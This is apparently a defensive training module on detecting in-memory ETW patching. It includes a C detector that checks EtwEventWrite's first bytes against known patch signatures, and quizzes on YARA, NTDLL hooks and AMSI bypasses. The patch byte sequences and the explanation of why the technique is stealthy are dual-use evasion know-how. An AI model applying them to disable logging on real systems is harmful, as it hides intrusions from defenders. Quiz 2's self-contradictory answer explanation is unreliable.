Step 3: Detect ETW Patching (Advanced Evasion)
Just like AMSI, ETW can be patched in memory. Advanced attackers patch ntdll!EtwEventWrite to silently drop events.
// etw_patch_detect.c — Detect ETW function patching
// Compile: cl.exe etw_patch_detect.c /Fe:etw_patch_detect.exe
#include <windows.h>
#include <stdio.h>
int main() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
printf("[-] ntdll.dll not loaded?!\n");
return 1;
}
// Check EtwEventWrite (the function ETW providers call)
BYTE* pEtwEventWrite = (BYTE*)GetProcAddress(hNtdll, "EtwEventWrite");
if (!pEtwEventWrite) {
printf("[-] EtwEventWrite not found. ETW may be disabled.\n");
return 1;
}
printf("[+] EtwEventWrite at %p\n", pEtwEventWrite);
printf("[+] First 16 bytes: ");
for (int i = 0; i < 16; i++) {
printf("%02X ", pEtwEventWrite[i]);
}
printf("\n");
// Normal: mov rax, rsp ; push rbx ; ... (prologue)
// Patched: ret (0xC3) or xor eax, eax ; ret (0x31 0xC0 0xC3)
if (pEtwEventWrite[0] == 0xC3) {
printf("[!] ETW PATCHED: EtwEventWrite starts with RET.\n");
printf(" All ETW events are being SILENTLY DROPPED.\n");
} else if (pEtwEventWrite[0] == 0x31 && pEtwEventWrite[1] == 0xC0 && pEtwEventWrite[2] == 0xC3) {
printf("[!] ETW PATCHED: EtwEventWrite returns S_OK immediately.\n");
printf(" Events are not written to trace sessions.\n");
} else if (pEtwEventWrite[0] == 0x48 && pEtwEventWrite[1] == 0x89 && pEtwEventWrite[2] == 0xE0) {
printf("[+] ETW appears UNPATCHED. Normal prologue detected.\n");
} else {
printf("[?] Unknown prologue. ETW may be on a different Windows version.\n");
printf(" Manual verification required.\n");
}
return 0;
}
Why patch EtwEventWrite instead of disabling ETW?
Disabling ETW services requires admin rights and leaves registry traces. Patching EtwEventWrite in memory requires only the ability to write to ntdll — which any process can do to its own copy. It's silent, reversible, and leaves no forensic artifacts. This is why memory verification (Section 1) and API hook detection (Section 2) are prerequisites.
🧪 Interactive Quizzes
Quiz 1: Memory Scanning Verification
Question: You run YARA against a suspicious process and get no output. The process is known to be running Meterpreter. Which of the following is the LEAST likely cause?
A) YARA does not have permission to read the process memory (access denied)
B) The Meterpreter payload is encrypted in memory and hasn't decrypted yet
C) YARA always outputs "No match found" when it fails to detect anything
D) The YARA rule strings are too specific and don't match this Meterpreter variant
Correct! YARA is silent on no match — it does NOT output "No match found." If you expected output and got nothing, it's either access denied (A), encrypted payload (B), or a bad rule (D). Always verify with -s and check error codes.
Quiz 2: API Hooking Detection
Question: You compare NTDLL on disk vs in memory for NtCreateThreadEx. Offset +0 is 0xE9 on disk but 0x4C in memory. What does this indicate?
A) EDR is actively hooking NtCreateThreadEx — the memory has a JMP (0xE9) while disk has normal code (0x4C)
B) The process has been UNHOOKED — the memory matches clean disk bytes, suggesting an attacker restored NTDLL
C) This is a Windows update mismatch — the disk NTDLL is newer than the loaded one
D) The comparison is invalid because NTDLL is always different in memory vs disk
Correct! Wait — re-read the question. Disk=0xE9 (JMP), Memory=0x4C (normal). That's BACKWARD from an EDR hook. If memory is clean and disk has a JMP, the disk was probably saved AFTER hooking, or the process was unhooked. Actually, the most likely answer in a real scenario: the process was unhooked by an attacker (B). EDR hooks memory, not disk. If memory is clean, someone restored it. This is exactly the technique from Module 13.
Quiz 3: EDR / AMSI Verification
Question: You run the EICAR test string in PowerShell and it executes without error. You then check the AMSI registry and see "Scan" = 1. What is the MOST likely explanation?
A) The EICAR string is outdated and no longer detected by modern AMSI
B) AMSI has been patched in memory — the registry says it's on, but the DLL is bypassed
C) PowerShell was running with -ExecutionPolicy Bypass, which disables AMSI
D) The EICAR string needs to be executed, not just assigned to a variable
Correct! Registry says AMSI is enabled, but EICAR ran clean. This is the classic signature of an in-memory patch (Section 6, Technique 2). The registry is untouched — defenders see "AMSI ON" — but AmsiScanBuffer returns S_OK for everything. Use the amsi_patch_detect.c tool from this module to verify. ExecutionPolicy (C) doesn't affect AMSI. EICAR is detected on assignment, not execution (D).
Key Takeaways
A scan is only as good as its metadata: Bases date, iChecker/iSwift, processed objects, completion status — all matter
Memory != Disk: A file can be clean on disk and malicious in memory. Always verify memory scanning
API hooks are invisible to byte comparison if they're hardware-based: Use debug register checks for advanced EDR
Behavioral analysis catches what signatures miss: Parent-child anomalies, process chains, MITRE mapping